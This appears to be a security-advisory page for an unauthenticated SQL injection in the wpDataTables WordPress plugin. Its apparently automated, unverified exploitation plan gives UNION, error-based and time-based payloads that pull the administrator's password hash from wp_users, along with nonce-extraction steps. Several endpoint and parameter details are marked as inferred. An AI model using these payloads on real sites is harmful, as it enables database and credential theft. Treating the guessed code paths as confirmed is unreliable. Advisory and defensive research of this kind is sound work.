CVE-2026-49080

wpDataTables (Premium) <= 7.3.6 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
7.4
Patched in
8d
Time to patch

Description

The wpDataTables (Premium) plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 7.3.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=7.3.6
PublishedJune 8, 2026
Last updatedJune 15, 2026
Affected pluginwpdatatables

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This exploitation research plan targets **CVE-2026-49080**, an unauthenticated SQL Injection vulnerability in the **wpDataTables (Premium)** plugin. --- ### 1. Vulnerability Summary The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied input before ap…

Show full research plan

This exploitation research plan targets CVE-2026-49080, an unauthenticated SQL Injection vulnerability in the wpDataTables (Premium) plugin.


1. Vulnerability Summary

The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied input before appending it to a SQL query within an AJAX handler accessible to unauthenticated users. Specifically, the vulnerability resides in the table data retrieval logic where filtering or sorting parameters are concatenated directly into the WHERE or ORDER BY clauses of the database query.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: get_wdtable (inferred; common entry point for frontend table rendering)
  • Vulnerable Parameter: wdt_column_filter or columns[n][search][value] (inferred)
  • Authentication: None (via wp_ajax_nopriv_ hook)
  • Preconditions: At least one table must be created and published on a public page/post via shortcode.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action parameter set to the vulnerable handler.
  2. Hook Registration: The plugin registers the action:
    add_action( 'wp_ajax_nopriv_get_wdtable', array( 'WDT_AJAX_Handler', 'get_wdtable' ) ); (inferred)
  3. Input Processing: The handler retrieves user input from $_POST.
  4. Vulnerable Sink: The input is passed to a method (e.g., WPDataTable::get_table_data) that builds a SQL string using concatenation:
    // Inferred Vulnerable Logic
    $filter = $_POST['wdt_column_filter'];
    $sql = "SELECT * FROM {$table_name} WHERE 1=1 AND (column_name LIKE '%$filter%')";
    $results = $wpdb->get_results($sql);
    
  5. Execution: $wpdb->get_results() executes the injected query.

4. Nonce Acquisition Strategy

wpDataTables Premium typically uses nonces for AJAX requests. Because this is an unauthenticated vulnerability, the nonce must be exposed on the frontend.

  1. Identify Shortcode: The plugin uses [wpdatatable id=1].
  2. Setup Page: Create a page containing a table.
    wp post create --post_type=page --post_title="Data View" --post_status=publish --post_content='[wpdatatable id=1]'
  3. Navigate: Use browser_navigate to visit the newly created page.
  4. Extract Nonce: The plugin localizes its AJAX configuration. Use browser_eval to extract the nonce:
    • Inferred JS Variable: window.wdt_ajax_object?.wdt_nonce or window.wpdatatables_frontend_config?.nonce
    • Action: const nonce = browser_eval("window.wdt_ajax_object.wdt_nonce")

5. Exploitation Strategy

We will use a UNION-based SQL injection to extract the administrator's password hash from the wp_users table.

  1. Determine Column Count: Incrementally test ORDER BY until an error occurs.
    • Payload: 1' ORDER BY 10-- -
  2. Locate Reflection Point: Inject a UNION SELECT with identifiable strings.
    • Payload: 1' UNION SELECT 'col1','col2','col3',...-- -
  3. Data Extraction:
    • HTTP Request: Use http_request tool.
    • Method: POST
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Body (URL-encoded):
      action=get_wdtable&
      table_id=1&
      wdt_nonce=[EXTRACTED_NONCE]&
      wdt_column_filter=1' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- -
      
    • Headers: Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

  1. Create a Table: Use the wpDataTables UI or a SQL import to ensure at least one table exists (ID 1).
  2. Publish Table: Ensure the table is embedded in a public post using the [wpdatatable id=1] shortcode.
  3. Verify Admin: Ensure an admin user exists (default ID 1).

7. Expected Results

The HTTP response should be a JSON object containing the results of the SQL query. In a successful exploit, the user_pass (phpass hash) of the administrator will be present in one of the data columns in the response body.

8. Verification Steps

  1. Retrieve Hash: Capture the hash from the http_request response.
  2. CLI Verification: Run wp user get 1 --field=user_pass via the terminal.
  3. Comparison: Compare the hash retrieved via SQLi with the hash returned by WP-CLI. If they match, the exploitation is confirmed.

9. Alternative Approaches

  • Error-Based Injection: If the response does not reflect the data but errors are enabled, use updatexml() or extractvalue():
    • Payload: 1' AND (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))x)-- -
  • Time-Based Blind: If no data or errors are returned, use SLEEP():
    • Payload: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))x)-- -
    • Measurement: Monitor the time_total in the http_request response.
Research Findings
Static analysis — not yet PoC-verified

Summary

The wpDataTables (Premium) plugin for WordPress is vulnerable to unauthenticated SQL injection in versions up to and including 7.3.6. This vulnerability exists due to insufficient sanitization and lack of preparation on user-supplied parameters within the plugin's AJAX data retrieval logic, allowing attackers to append malicious SQL queries.

Vulnerable Code

// Inferred Vulnerable Logic from Research Plan
$filter = $_POST['wdt_column_filter'];
$sql = "SELECT * FROM {$table_name} WHERE 1=1 AND (column_name LIKE '%$filter%')";
$results = $wpdb->get_results($sql);

Exploit Outline

To exploit this vulnerability, an attacker first locates a public page where a wpDataTable is rendered to extract a valid AJAX nonce from the frontend configuration. The attacker then sends a POST request to the admin-ajax.php endpoint with the action set to 'get_wdtable'. By supplying a UNION-based SQL injection payload in a filtering parameter such as 'wdt_column_filter', the attacker can extract sensitive information from the database, which is then reflected in the plugin's JSON response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.